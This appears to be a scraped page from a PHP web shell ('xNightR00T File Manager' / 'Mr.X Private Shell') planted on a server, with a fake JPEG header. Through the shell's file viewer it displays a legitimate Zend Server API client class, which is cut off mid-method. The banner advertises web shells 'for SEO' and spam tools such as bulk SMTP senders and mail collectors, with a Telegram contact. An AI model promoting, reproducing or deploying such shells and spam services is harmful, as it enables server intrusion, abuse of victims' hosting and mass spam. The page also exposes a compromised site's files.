xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php

require_once 'Zend/Uri.php';
require_once 'Zend/Http/Client.php';
require_once 'ZendX/Service/ZendServer/Response.php';

class ZendX_Service_ZendServer
{
	const ZSAPI_XMLNS			 = 'http://www.zend.com/server/api/1.3';
	const ZSAPI_MEDIATYPE		 = 'application/vnd.zend.serverapi+xml';
	const ZSAPI_VERSION		   = '1.6';
	const ZSAPI_CFGFILE_MEDIATYPE = 'application/vnd.zend.serverconfig';
	const ZSAPI_PKGFILE_MEDIATYPE = 'application/vnd.zend.applicationpackage';
	const ZSAPI_LIBFILE_MEDIATYPE = 'library/vnd.zend.librarypackage';
	
	/**
	 * HTTP client instance
	 * 
	 * @var Zend_Http_Client
	 */
	protected $_httpClient = null;
	
	/**
	 * Server URL
	 * 
	 * @var Zend_Uri_Http
	 */
	protected $_serverUrl  = null;
	
	/**
	 * API key name
	 * 
	 * @var string
	 */
	protected $_apiKeyName = null;
	
	/**
	 * API key
	 * 
	 * @var string
	 */
	protected $_apiKey	 = null;
	
	/**
	* HTTP timeout
	*
	* @var int
	*/
	protected $_httpTimeout  = 60;
	
	/**
	 * User agent string
	 * 
	 * @var string
	 */
	protected $_userAgent  = null;
	
	/**
	 * Number of retries to perform if ZSCM is locked
	 * 
	 * @var integer | boolean
	 */
	protected $_lockedRetries = 3;
	
	/**
	 * Number of seconds to wait between retries
	 * 
	 * @var integer
	 */
	protected $_lockedWait = 5;
	
	/**
	 * Create a new ZendServer API client
	 * 
	 * @param Zend_Uri_Http | string $serverUrl
	 * @param string				 $apiKeyName
	 * @param string				 $apiKey
	 */
	public function __construct($serverUrl, $apiKeyName, $apiKey, $httpTimeout)
	{
		if (is_string($serverUrl)) { 
			$serverUrl = Zend_Uri::factory($serverUrl);
		}
		
		if (! $serverUrl instanceof Zend_Uri_Http) {
			require_once 'ZendX/Service/ZendServer/Exception.php';
			throw new ZendX_Service_ZendServer_Exception("\$serverUrl is expected to be an HTTP URL, got " . gettype($serverUrl));
		}
		
		$this->_serverUrl = $serverUrl;
		
		$this->_apiKeyName = (string) $apiKeyName;
		$this->_apiKey = (string) $apiKey;
		$this->_httpTimeout = (int) $httpTimeout;
		$this->_userAgent = __CLASS__ . '/ZendFramework-1.11/PHP-' . PHP_VERSION;
	}
	
	/**
	 * Set the HTTP client to be used to connect to Zend Server
	 * 
	 * @param  Zend_Http_Client $client
	 * @return ZendX_Service_ZendServer
	 */
	public function setHttpClient(Zend_Http_Client $client)
	{
		$this->_httpClient = $client;
		return $this;
	}
	
	/**
	 * Get the HTTP client which will be used to connect to Zend Server
	 * 
	 * If no HTTP client was set, will return the default one
	 * 
	 * @return Zend_Http_Client
	 */
	public function getHttpClient()
	{
		if (! $this->_httpClient) {
			$this->_httpClient = $this->_getDefaultHttpClient();
		}
		
		return $this->_httpClient;
	}
	
	/**
	 * Run the getSystemInfo API call, returning information about the Zend 
	 * Server installation we are connected to
	 * 
	 * @return ZendX_Service_ZendServer_SystemInfo
	 */
	public function getSystemInfo()
	{
		require_once 'ZendX/Service/ZendServer/SystemInfo.php';
		
		$response = $this->_sendRequestCheckResponse('GET', 'getSystemInfo');
		return new ZendX_Service_ZendServer_SystemInfo(
			$response->getXmlBody()->responseData->systemInfo
		);
	}
	
	/**
	 * Run the clusterGetServerInfo API call, returning information about one 
	 * or more servers in a cluster
	 * 
	 * @param  array $servers
	 * @return ZendX_Service_ZendServer_ServersList
	 */
	public function clusterGetServerStatus(array $servers = array())
	{
		$params = array();
		if (! empty($servers)) { 
			$params['servers'] = array_values($servers);
		}
		
		$response = $this->_sendRequestCheckResponse('GET', 'clusterGetServerStatus', $params);
		
		return new ZendX_Service_ZendServer_ServersList($response->getXmlBody()->responseData->serversList);
	}
	/**
	 * Run the configurationStoreDirectives API call, changing one or more 
	 * directives in the file system
	 * 
	 * @param array $directives
	 * Return string
	 */
	public function configurationStoreDirectives(array $directives = array())
	{
		$params = array();
		if (! empty($directives)) {
			$params=$directives;
		}
	
		$response = $this->_sendRequestCheckResponse('POST', 'configurationStoreDirectives', $params);
	
		return $response->getXmlBody()->responseData->directives;
	}
	public function configurationExtensionsOn(array $extensions = array())
	{
		$params = array();
		if (! empty($extensions)) {
			$params=$extensions;
		}
	
		$response = $this->_sendRequestCheckResponse('POST', 'configurationExtensionsOn', $params);
	
		return $response->getXmlBody()->responseData->extensions->extension;
	}
	public function configurationExtensionsOff(array $extensions = array())
	{
		$params = array();
		if (! empty($extensions)) {
			$params=$extensions;
		}
	
		$response = $this->_sendRequestCheckResponse('POST', 'configurationExtensionsOff', $params);
	
		return $response->getXmlBody()->responseData->extensions->extension;
	}
	public function apiKeysAddKey(array $keyData = array())
	{
		$params = array();
		if (! empty($keyData)) {
			$params=$keyData;
		}
	
		$response = $this->_sendRequestCheckResponse('POST', 'apiKeysAddKey', $params);
	
		return $response->getXmlBody()->responseData->apiKeys->apiKey;
	}
	public function apiKeysGetList()
	{
	
		$response = $this->_sendRequestCheckResponse('GET', 'apiKeysGetList');
		return $response->getXmlBody()->responseData->apiKeys;
	}
	public function configurationExtensionsList($type,$filter)
	{
		$params = array();
		if (! empty($type)) {
			$params['type']=$type;
		}
		if (! empty($filter)) {
			$params['filter']=$filter;
		}
		$response = $this->_sendRequestCheckResponse('GET', 'configurationExtensionsList',$params);
		return $response->getXmlBody()->responseData;
	}
	/**
	 * Run the clusterGetServersCount API call, returning information about 
	 * the number of servers in the cluster (no matter what their status)
	 *
	 * @return int $numOfServers
	 */
	public function clusterGetServersCount()
	{
		$response = $this->_sendRequestCheckResponse('GET', 'clusterGetServersCount');
		return $response->getXmlBody()->responseData->serversCount;
	}
	/**
	 * @param array $serversIds
	 * @return bool $tasksComplete
	 */
	public function tasksComplete($serversIds=null)
	{
		$params = array();
		if (!empty($serversIds)) {
			$params['serversIds'] = array_values($serversIds);
		}
		$response = $this->_sendRequestCheckResponse('GET', 'tasksComplete',$params);
		return (string)$response->getXmlBody()->responseData->tasksComplete['0'];
	}
	/**
	 * @param string $adminPassword
	 * @param string $orderNumber
	 * @param string $licenseKey
	 * @param bool $acceptEula
	 * @param bool $production
	 * @param string $applicationUrl
	 * @param string $adminEmail
	 * @param string $developerPassword
	 * @throws ZendX_Service_ZendServer_Exception
	 * @return ZendX_Service_ZendServer_bootstrapResponse
	 */
	public function bootstrapSingleServer($adminPassword, $orderNumber,$licenseKey,$acceptEula,$production,$applicationUrl,$adminEmail,$developerPassword,$dontWait)
	{
		if (is_string($adminPassword) && strlen($adminPassword) < 4) {
			throw new ZendX_Service_ZendServer_Exception("Admin password is not valid");
		}
			
		$params = array(
				'adminPassword'		=> (string) $adminPassword,
				'orderNumber'		=> (string) $orderNumber,
				'licenseKey'		=> (string) $licenseKey,
				'acceptEula'		=> (string) $acceptEula,
				'applicationUrl'	=> (string) $applicationUrl,
				'adminEmail'		=> (string) $adminEmail,
				'developerPassword'	=> (string) $developerPassword,
		);
		if ($dontWait==='TRUE' || $dontWait==='true') {
			$params['dontWait']= "TRUE";
		}else {
			$params['dontWait']= "FALSE";
		}
		if ($production==='TRUE' || $production==='true') {
			$params['production']= "TRUE";
		}elseif ($production==='FALSE' || $production==='false') {
			$params['production']= "FALSE";
		}
		
	
		$response = $this->_sendRequestHandleLockedServer('POST', 'bootstrapSingleServer', $params);
	
		return new ZendX_Service_ZendServer_bootstrapResponse($response->getXmlBody()->responseData->bootstrap);
	}
	
	/**
	 * 
	 * Add (join a bootstraped single server to to MySQL cluster and create and populate the DB if needed
	 * 
	 * @param string $serverName
	 * @param string $dbHost
	 * @param string $dbUsername
	 * @param string $dbPassword
	 * @param string $nodeIp
	 * @param string $dbName
	 * @return ZendX_Service_ZendServer_ServerInfo
	 */
	public function serverAddToCluster($serverName, $dbHost,$dbUsername,$dbPassword,$nodeIp,$dbName)
	{
	
		$params = array(
				'serverName'		=> (string) $serverName,
				'dbHost'		=> (string) $dbHost,
				'dbUsername'		=> (string) $dbUsername,
				'dbPassword'		=> (string) $dbPassword,
				'nodeIp'	=> (string) $nodeIp,
				'dbName'		=> (string) $dbName
		);
		$response = $this->_sendRequestHandleLockedServer('POST', 'serverAddToCluster', $params);
		$data['serverInfo']= new ZendX_Service_ZendServer_ServerInfo($response->getXmlBody()->responseData->serverInfo);
		$data['clusterAdminKey']['apiKeyName']= $response->getXmlBody()->responseData->clusterAdminKey->name;
		$data['clusterAdminKey']['apiKeyHash']= $response->getXmlBody()->responseData->clusterAdminKey->hash;
		$this->_apiKeyName=$data['clusterAdminKey']['apiKeyName'];
		$this->_apiKey=$data['clusterAdminKey']['apiKeyHash'];
		return $data;
	}
	
	/**
	 * Add a new unbootstrapped server to  cluster through an already connected server. 
	 * 
	 * @param string				 $serverName
	 * @param Zend_Uri_Http | string $serverUrl
	 * @return ZendX_Service_ZendServer_ServerInfo
	 */
	public function clusterAddServer($serverName, $serverIp)
	{
// 		if (is_string($serverUrl)) { 
// 			$serverUrl = Zend_Uri_Http::factory($serverUrl);
// 		}
		
// 		if ($serverUrl instanceof Zend_Uri_Http) {
// 			if (! $serverUrl->valid()) {
// 				throw new ZendX_Service_ZendServer_Exception("Server URL is not a valid HTTP URL: $serverUrl");
// 			}
			
// 		} else {
// 			throw new ZendX_Service_ZendServer_Exception("Unexpected value for \$serverUrl, expecting a Zend_Uri_Http object or valid URL string");
// 		}
		
		$params = array(
			'serverName'		=> (string) $serverName,
			'serverIp'		 => (string) $serverIp
		);
		
		$response = $this->_sendRequestHandleLockedServer('POST', 'clusterAddServer', $params);
		
		return new ZendX_Service_ZendServer_ServerInfo($response->getXmlBody()->responseData->serverInfo);
	}
	
	/**
	 * Remove a server from a cluster
	 * 
	 * @param integer $serverId
	 * @return ZendX_Service_ZendServer_ServerInfo
	 */
	public function clusterRemoveServer($serverId)
	{
		$serverId = (int) $serverId;
		if ($serverId < 1) { 
			throw new ZendX_Service_ZendServer_Exception('serverId is expected to be a positive number');
		}
		
		$params = array(
			'serverId' => $serverId
		);
		$response = $this->_sendRequestHandleLockedServer('POST', 'clusterRemoveServer', $params);
		return new ZendX_Service_ZendServer_ServerInfo($response->getXmlBody()->responseData->serverInfo);
	}
	
	/**
	 * Force Remove a server from a cluster
	 *
	 * @param integer $serverId
	 * @return ZendX_Service_ZendServer_ServerInfo
	 */
	public function clusterForceRemoveServer($serverId)
	{
		$serverId = (int) $serverId;
		if ($serverId < 1) {
			throw new ZendX_Service_ZendServer_Exception('serverId is expected to be a positive number');
		}
	
		$params = array(
				'serverId' => $serverId
		);
		$response = $this->_sendRequestHandleLockedServer('POST', 'clusterForceRemoveServer', $params);
		return new ZendX_Service_ZendServer_ServerInfo($response->getXmlBody()->responseData->serverInfo);
	}
	/**
	 * Enable a disabled cluster member
	 * 
	 * @param  integer $serverId
	 * @return ZendX_Service_ZendServer_ServerInfo
	 */
	public function clusterEnableServer($serverId)
	{
		$serverId = (int) $serverId;
		if ($serverId < 1) { 
			throw new ZendX_Service_ZendServer_Exception('serverId is expected to be a positive number');
		}
		
		$params = array(
			'serverId' => $serverId
		);
		
		$response = $this->_sendRequestHandleLockedServer('POST', 'clusterEnableServer', $params);
		
		return new ZendX_Service_ZendServer_ServerInfo($response->getXmlBody()->responseData->serverInfo);
	}
	
	/**
	 * Disable a cluster member
	 * 
	 * @param integer $serverId
	 * @return ZendX_Service_ZendServer_ServerInfo
	 */
	public function clusterDisableServer($serverId)
	{
		$serverId = (int) $serverId;
		if ($serverId < 1) { 
			throw new ZendX_Service_ZendServer_Exception('serverId is expected to be a positive number');
		}
		
		$params = array(
			'serverId' => $serverId
		);
		
		$response = $this->_sendRequestHandleLockedServer('POST', 'clusterDisableServer', $params);
		
		return new ZendX_Service_ZendServer_ServerInfo($response->getXmlBody()->responseData->serverInfo);
	}
	
	/**
	 * Reconfigure a cluster member to match the cluster's profile
	 * 
	 * @param  integer $serverId
	 * @param  boolean $doRestart - Should the reconfigured server be restarted after the reconfigure action.
	 * @return ZendX_Service_ZendServer_ServerInfo
	 */
	public function clusterReconfigureServer($serverId, $doRestart=false)
	{
		$serverId = (int) $serverId;
		if ($serverId < 0) { 
			throw new ZendX_Service_ZendServer_Exception('serverId is expected to be a positive number');
		}
		
		$params = array(
			'serverId' => $serverId,
			'doRestart' => ($doRestart ? 'TRUE' : 'FALSE'),	
		);
		
		$response = $this->_sendRequestCheckResponse('POST', __FUNCTION__, $params);
		
		return new ZendX_Service_ZendServer_ServerInfo($response->getXmlBody()->responseData->serversList->serverInfo);
	}
		
	/**
	 * Run the restartPhp API call, restarting PHP on one or more servers
	 * 
	 * @param  array   $servers
	 * @param  boolean $parallel
	 * @return ZendX_Service_ZendServer_ServersList
	 */
	public function restartPhp(array $servers = array(), $parallel = false , $force = false)
	{
		$params = array();
		if (!empty($servers)) { 
			$params['servers'] = array_values($servers);
		}		
	
		if ($parallel) {
			$params['parallelRestart'] = 'TRUE';
		}
		if ($force) {
			$params['force'] = 'TRUE';
		}
		
		$response = $this->_sendRequestCheckResponse('POST', 'restartPhp', $params);
		
		return new ZendX_Service_ZendServer_ServersList($response->getXmlBody()->responseData->serversList);
	}
	
	/**
	 * Export configuration to a file 
	 * 
	 * Configuration will be written to the specified file. If a directory is 
	 * specified, configuration will be written to a server-provided file name
	 * in that directory. If no output path is specified, configuration will be 
	 * written to a file in the system's temporary directory.
	 * 
	 * The final file name to which configuration has been written will be 
	 * returned.
	 *  
	 * @param  string $outFile
	 * @return string 
	 */
	public function configurationExport($outFile = null)
	{
		$response = $this->_sendRequestCheckResponse('GET', 'configurationExport');
		$responseContentParts = explode(';', $response->getContentType()); // content type may appear as: application/vnd.zend.serverconfig;application/vnd.zend.serverapi+xml;version=1.0

		if ($responseContentParts[0] != self::ZSAPI_CFGFILE_MEDIATYPE) {
			throw new ZendX_Service_ZendServer_Exception("unexpected response content-type: {$response->getContentType()}");
		}
		
		if (! $outFile) {
			$outFile = realpath(sys_get_temp_dir());
		}
		
		if (is_dir($outFile)) {
			$contentDisp = $response->getHeader('content-disposition');
			if (preg_match('/filename="([^\/\\"]+)"/', $contentDisp, $match)) { 
				$fileName = trim($match[1]);
			} else {
				$fileName = 'ZendServerConfig-' . date('Ymd') . '.zcfg';
			}
			
			$outFile = rtrim($outFile, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $fileName;
		}
		
		if (! file_put_contents($outFile, $response->getData())) {
			throw new ZendX_Service_ZendServer_Exception("failed writing configuration snapshot to $outFile");
		}
		
		return $outFile;
	}
	
	/**
	 * Import Zend Server configuration from a snapshot file
	 * 
	 * @param string $inFile
	 * @param force  $force
	 */
	public function configurationImport($inFile, $force = false)
	{
		if (! ($data = file_get_contents($inFile))) {
			throw new ZendX_Service_ZendServer_Exception("failed reading configuration snapshot from $inFile");
		}
		
		$params = array('ignoreSystemMismatch' => ($force ? 'TRUE' : 'FALSE'));
		
		$response = $this->_sendRequestCheckResponse('POST', 'configurationImport', $params, array(
			'configFile' => array(
				'data'  => $data,
				'ctype' => self::ZSAPI_CFGFILE_MEDIATYPE
			)
		));
		
		return new ZendX_Service_ZendServer_ServersList($response->getXmlBody()->responseData->serversList);
	}
	
	
	
	public function configurationApplyChanges($id)
	{
		$params = array();
		$params['serverId']=$id;
		$response = $this->_sendRequestCheckResponse('POST', __FUNCTION__, $params);
		//var_dump($response);
		require_once 'ZendX/Service/ZendServer/ApplicationsList.php';
		return new ZendX_Service_ZendServer_ServersList($response->getXmlBody()->responseData->serversList);
	}
	
	/**
	 * Get the status of all or some of the currently installed apps
	 * 
	 * If $apps is empty, status of all apps is returned. Otherwise, $apps can
	 * be an array of application IDs, and only the status of specified
	 * applications will be returned
	 * 
	 * @param array $apps
	 */
	public function applicationGetStatus($apps = array())
	{
		$params = array();
		if (! empty($apps)) { 
			$params['applications'] = array_values($apps);
		}
		
		$response = $this->_sendRequestCheckResponse('GET', __FUNCTION__, $params);
		
		require_once 'ZendX/Service/ZendServer/ApplicationsList.php';
		return new ZendX_Service_ZendServer_ApplicationsList($response->getXmlBody()->responseData->applicationsList);
	}
	
	/**
	 * Deploy an application using the web API
	 * 
	 * @param  string  $pkgFile		Path or URL of ZPK package to deploy.
	 *								 URL schemes supported by PHP's stream wrappers can be used.
	 * @param  string  $baseUrl		Base URL to deploy app on. 
	 *								 If only path is given, will deploy on the default vhost.
	 * @param  string  $appName		Application name as given by the user
	 * @param  array   $userParams	 Associative array of user parameters
	 * @param  boolean $createVhost	Create a new virtual host if not exists?
	 * @param  boolean $ignoreFailures Ignore failures if some hosts failed?
	 * @param  boolean $defaultServer TRUE to deploy to default vhost
	 * @return ZendX_Service_ZendServer_ApplicationInfo
	 */
	public function applicationDeploy($pkgFile, $baseUrl, $appName=null, array $userParams=array(), $createVhost=false, $ignoreFailures=false, $defaultServer=false)
	{
		if (!$pkgFile) { 
			require_once 'ZendX/Service/ZendServer/Exception.php';
			throw new ZendX_Service_ZendServer_Exception("package file must point to a valid package file or URL");
		}
				
		$params = array(
			'baseUrl'		=> $baseUrl,
			'userAppName'	=> $appName,
			'userParams'	 => $userParams,
			'ignoreFailures' => ($ignoreFailures ? 'TRUE' : 'FALSE'),
			'createVhost'	=> ($createVhost ? 'TRUE' : 'FALSE'),
			'defaultServer'  => ($defaultServer ? 'TRUE' : 'FALSE')
		);
		
		$files = array('appPackage' => array(
			'path'  => $pkgFile,
			'ctype' => self::ZSAPI_PKGFILE_MEDIATYPE
		));
		
		$response = $this->_sendRequestCheckResponse('POST', __FUNCTION__, $params, $files);
		
		require_once 'ZendX/Service/ZendServer/ApplicationInfo.php';
		return new ZendX_Service_ZendServer_ApplicationInfo($response->getXmlBody()->responseData->applicationInfo);
	}
	
	public function libraryVersionDeploy($pkgFile)
	{
		if (!$pkgFile) {
			require_once 'ZendX/Service/ZendServer/Exception.php';
			throw new ZendX_Service_ZendServer_Exception("package file must point to a valid package file or URL");
		}
	
		$params = array();
	
		$files = array('appPackage' => array(
				'path'  => $pkgFile,
				'ctype' => self::ZSAPI_LIBFILE_MEDIATYPE
		));
	
		$response = $this->_sendRequestCheckResponse('POST', __FUNCTION__, $params, $files);
	
		require_once 'ZendX/Service/ZendServer/LibraryInfo.php';
		return new ZendX_Service_ZendServer_LibraryInfo($response->getXmlBody()->responseData->libraryList->libraryInfo);
	}
	
	public function libraryVersionRemove($libVerId)
	{
	
		$params = array(
			'libVerId'		=> $libVerId,
		);	
	
		$response = $this->_sendRequestCheckResponse('POST', __FUNCTION__, $params);
	
		require_once 'ZendX/Service/ZendServer/LibraryInfo.php';
		return new ZendX_Service_ZendServer_LibraryInfo($response->getXmlBody()->responseData->libraryList->libraryInfo);
	}
	
	public function libraryRemove($libId)
	{
	
		$params = array(
				'libId'		=> $libId,
		);
	
		$response = $this->_sendRequestCheckResponse('POST', __FUNCTION__, $params);
	
		require_once 'ZendX/Service/ZendServer/LibraryInfo.php';
		return new ZendX_Service_ZendServer_LibraryInfo($response->getXmlBody()->responseData->libraryList->libraryInfo);
	}
	
	public function libraryGetStatus($library)
	{
		
		$libraries=array($library);
		$params = array(
			'libraries'		=> $libraries,
		);	
		
		$response = $this->_sendRequestCheckResponse('GET', __FUNCTION__, $params);
	
		require_once 'ZendX/Service/ZendServer/LibraryInfo.php';
		return $response->getXmlBody()->responseData->libraryList;
	}
	
	/**
	 * Remove an application using the web API
	 * 
	 * @param  integer  $appId		the application ID to remove
	 * @return ZendX_Service_ZendServer_ApplicationInfo
	 */
	public function applicationRemove($appId)
	{
		if (!is_numeric($appId)) { 
			require_once 'ZendX/Service/ZendServer/Exception.php';
			throw new ZendX_Service_ZendServer_Exception("appId to remove must be an integer");
		}
		
		$params = array(
			'appId'		=> $appId,
		);
		
		$response = $this->_sendRequestCheckResponse('POST', __FUNCTION__, $params);
		
		require_once 'ZendX/Service/ZendServer/ApplicationInfo.php';
		return new ZendX_Service_ZendServer_ApplicationInfo($response->getXmlBody()->responseData->applicationInfo);
	}
	
	/**
	 * Synchronize an application using the web API
	 * 
	 * @param  integer	$appId		the application ID to synchronize
	 * @param  array	$servers
	 * @return ZendX_Service_ZendServer_ApplicationInfo
	 */
	public function applicationSynchronize($appId, array $servers=array())
	{
		if (!is_numeric($appId)) { 
			require_once 'ZendX/Service/ZendServer/Exception.php';
			throw new ZendX_Service_ZendServer_Exception("appId to synchronize must be an integer");
		}
		
		$params['appId'] = $appId;

		if (!empty($servers)) { 
			$params['servers'] = array_values($servers);
		}
		
		$response = $this->_sendRequestCheckResponse('POST', __FUNCTION__, $params);
		
		require_once 'ZendX/Service/ZendServer/ApplicationInfo.php';
		return new ZendX_Service_ZendServer_ApplicationInfo($response->getXmlBody()->responseData->applicationInfo);
	}
	
	/**
	 * Update an application using the web API
	 * 
	 * @param  integer $appId		  the application ID to update
	 * @param  string  $pkgFile		Path or URL of ZPK package to deploy.
	 *								 URL schemes supported by PHP's stream wrappers can be used.
	 * @param  array   $userParams	 Associative array of user parameters
	 * @param  boolean $ignoreFailures Ignore failures if some hosts failed?
	 * @return ZendX_Service_ZendServer_ApplicationInfo
	 */
	public function applicationUpdate($appId, $pkgFile, array $userParams=array(), $ignoreFailures=false)
	{
		if (!is_numeric($appId)) { 
			require_once 'ZendX/Service/ZendServer/Exception.php';
			throw new ZendX_Service_ZendServer_Exception("appId to update must be an integer");
		}
		
		if (!$pkgFile) { 
			require_once 'ZendX/Service/ZendServer/Exception.php';
			throw new ZendX_Service_ZendServer_Exception("package file must point to a valid package file or URL");
		}		
		
		$params = array(
			'appId'		=> $appId,
			'userParams'	 => $userParams,
			'ignoreFailures' => ($ignoreFailures ? 'TRUE' : 'FALSE'),
		);		
		
		$files = array('appPackage' => array(
			'path'  => $pkgFile,
			'ctype' => self::ZSAPI_PKGFILE_MEDIATYPE
		));

		
		$response = $this->_sendRequestCheckResponse('POST', __FUNCTION__, $params, $files);
		
		require_once 'ZendX/Service/ZendServer/ApplicationInfo.php';
		return new ZendX_Service_ZendServer_ApplicationInfo($response->getXmlBody()->responseData->applicationInfo);
	}	
	
	/**
	 * Rollback an application using the web API
	 * 
	 * @param  integer  $appId		the application ID to rollback
	 * @return ZendX_Service_ZendServer_ApplicationInfo
	 */
	public function applicationRollback($appId)
	{
		if (!is_numeric($appId)) { 
			require_once 'ZendX/Service/ZendServer/Exception.php';
			throw new ZendX_Service_ZendServer_Exception("appId to rollback must be an integer");
		}
		
		$params = array(
			'appId'		=> $appId,
		);
		
		$response = $this->_sendRequestCheckResponse('POST', __FUNCTION__, $params);
		
		require_once 'ZendX/Service/ZendServer/ApplicationInfo.php';
		return new ZendX_Service_ZendServer_ApplicationInfo($response->getXmlBody()->responseData->applicationInfo);
	}

	public function vhostAdd($vhostName, $vhostPort,$vhostTemplate="")
	{	
		$params = array(
				'name'		=> (string) $vhostName,
				'port'		=> (string) $vhostPort,
		);
		if (!empty($vhostTemplate)) $params['template']=(string)$vhostTemplate;
	
		$response = $this->_sendRequestCheckResponse('POST', 'vhostAdd', $params);
	
		return  new ZendX_Service_ZendServer_vhostInfo ($response->getXmlBody()->responseData->vhostList->vhostInfo);
	}
	
	public function vhostAddSecure($vhostName, $vhostPort,$sslCertificatePath,$sslCertificateKeyPath,$vhostTemplate="",$sslCertificateChainPath="")
	{
		$params = array(
				'name'		=> (string) $vhostName,
				'port'		=> (string) $vhostPort,
				'sslCertificatePath'		=> (string) $sslCertificatePath,
				'sslCertificateKeyPath'		=> (string) $sslCertificateKeyPath,
		);
		if (!empty($vhostTemplate)) $params['template']=(string)$vhostTemplate;
		if(!empty($sslCertificateChainPath)) $params['sslCertificateChainPath']=$sslCertificateChainPath;
		$response = $this->_sendRequestCheckResponse('POST', 'vhostAddSecure', $params);
	
		return  new ZendX_Service_ZendServer_vhostInfo ($response->getXmlBody()->responseData->vhostList->vhostInfo);
	}
	
	public function vhostAddSecureIbmi($vhostName, $vhostPort,$sslAppName,$force=FALSE,$vhostTemplate="")
	{
		$params = array(
				'name'		=> (string) $vhostName,
				'port'		=> (string) $vhostPort,
				'sslAppName'		=> (string) $sslAppName,
				'forceCreate'		=> (string) $force,
		);
		if (!empty($vhostTemplate)) $params['template']=(string)$vhostTemplate;
	
		$response = $this->_sendRequestCheckResponse('POST', 'vhostAddSecureIbmi', $params);
	
		return  new ZendX_Service_ZendServer_vhostInfo ($response->getXmlBody()->responseData->vhostList->vhostInfo);
	}
	public function vhostGetStatus($vhostId)
	{
		$params=array();
		if (!empty($vhostId)) $params['vhosts']=array($vhostId);
		$response = $this->_sendRequestCheckResponse('GET', 'vhostGetStatus', $params);
		return  $response->getXmlBody()->responseData->vhostList;
	}
	public function vhostRemove($vhostId)
	{
		$params=array();
		$params['vhosts']=array($vhostId);
		$response = $this->_sendRequestCheckResponse('POST', 'vhostRemove', $params);
		return  $response->getXmlBody()->responseData->vhostList;
	}
	/**
	 * Set the client to retry ZSCM operations if the server is temporarily locked
	 * 
	 * @param integer|boolean $retries number of retires; TRUE means unlimited; FALSE means do not retry
	 * @param integer		   $wait	seconds to wait betwen retries 
	 */
	public function setRetryIfLocked($retries, $wait = null)
	{
		$wait = (int) $wait;
		if ($wait < 0) { 
			throw new ZendX_Service_ZendServer_Exception("\$retries is expected to be a positive integer");
		} elseif ($wait === 0) { 
			$wait = 5;
		}
		
		if ($retries === true || $retries === 0) { 
			$retries = 0;
		} elseif (! $retries) {
			$retries = 1;
		} else {
			$retries = (int) $retries;
		}
		
		$this->_lockedRetries = $retries;
		$this->_lockedWait	= $wait;
	}

	/**
	 * Create a new Zend_Http_Client instance with default configuration
	 *
	 * @return Zend_Http_Client
	 */
	protected function _getDefaultHttpClient()
	{
		$client = new Zend_Http_Client();
		$client->setConfig(array(
			'useragent'	 => $this->_userAgent,
			'maxredirects'  => 0,
			'storeresponse' => false,
			 'timeout'      => $this->_httpTimeout
		));
		
		return $client;
	}
	
	/**
	 * Send API request and check for errors. If ZSCM returns a 'locked' 
	 * response, act based on retry settings
	 * 
	 * @param  string $method
	 * @param  string $action
	 * @param  array  $params
	 * @param  array  $files
	 * @throws ZendX_Service_ZendServer_Exception
	 * @return ZendX_Service_ZendServer_Response
	 */
	protected function _sendRequestHandleLockedServer($method, $action, array $params = array(), array $files = array())
	{
		$i = 0;
		do {
			$i++;
			try {
				$response = $this->_sendRequestCheckResponse($method, $action, $params, $files);
				return $response;
				
			} catch (ZendX_Service_ZendServer_Exception $ex) {
				if ($this->_shouldNotRetry($ex) || $i === $this->_lockedRetries) {
					throw $ex;
				}
				
				// TODO - would be nice to log about the retry somewhere - print "RETRY [$i]\n";				
				sleep($this->_lockedWait);
			}
			
		} while ($this->_lockedRetries === 0 || $i < $this->_lockedRetries); // _lockedRetries === 0 means we want indefinite retries
	}
	
	protected function _shouldNotRetry($ex) {
		return in_array($ex->getZendServerErrorCode(), $this->_getErrorsNotToRetry());
	}
	
	protected function _getErrorsNotToRetry() {
		return array('noSuchServer', 'notImplementedByEdition', 'serverNotLicensed', 'wrongPassword', 'alreadyConnected');
	}
	
	
	/**
	 * Send an API request, and check the response for errors
	 * 
	 * @param  string $method
	 * @param  string $action
	 * @param  array  $params
	 * @param  array  $files
	 * @throws ZendX_Service_ZendServer_Exception
	 * @return ZendX_Service_ZendServer_Response
	 */
	protected function _sendRequestCheckResponse($method, $action, array $params = array(), array $files = array())
	{
		try {
			$response = $this->_sendHttpRequest($method, $action, $params, $files);
		} 
		catch (Exception $e) {			
			require_once 'ZendX/Service/ZendServer/Exception.php';
			$ex = new ZendX_Service_ZendServer_Exception($e->getMessage());			
			throw $ex;
		}		
		
		if ($response->isError()) { 
			require_once 'ZendX/Service/ZendServer/Exception.php';
			$ex = new ZendX_Service_ZendServer_Exception($response->getErrorMessage(), $response->getHttpStatusCode());
			$ex->setZendServerErrorCode($response->getErrorCode());
			
			throw $ex;
		}
		
		return $response;
	}
	
	/**
	 * Generate the request signature
	 * 
	 * @param  string $host
	 * @param  string $path
	 * @param  string $date
	 * @return string
	 */
	protected function _generateRequestSignature($host, $path, $date)
	{
		$data = "$host:$path:{$this->_userAgent}:$date";
		return hash_hmac('sha256', $data, $this->_apiKey);
	}
	
	/**
	 * Send the HTTP request to the web server
	 * 
	 * @param  string $method
	 * @param  string $action
	 * @param  array  $params
	 * @param  array  $files
	 * @return ZendX_Service_ZendServer_Response
	 */
	protected function _sendHttpRequest($method, $action, array $params = array(), array $files = array())
	{
		$this->_prepareHttpClient($method, $action, $params, $files);
		$response = $this->getHttpClient()->request($method);
		return new ZendX_Service_ZendServer_Response($response);
	}
	
	/**
	 * Prepare the HTTP client before sending a request
	 * 
	 * @param  string $method
	 * @param  string $action
	 * @param  array  $params
	 * @param  array  $files
	 * @throws ZendX_Service_ZendServer_Exception
	 */
	protected function _prepareHttpClient($method, $action, array $params, array $files)
	{
		$client = $this->getHttpClient();
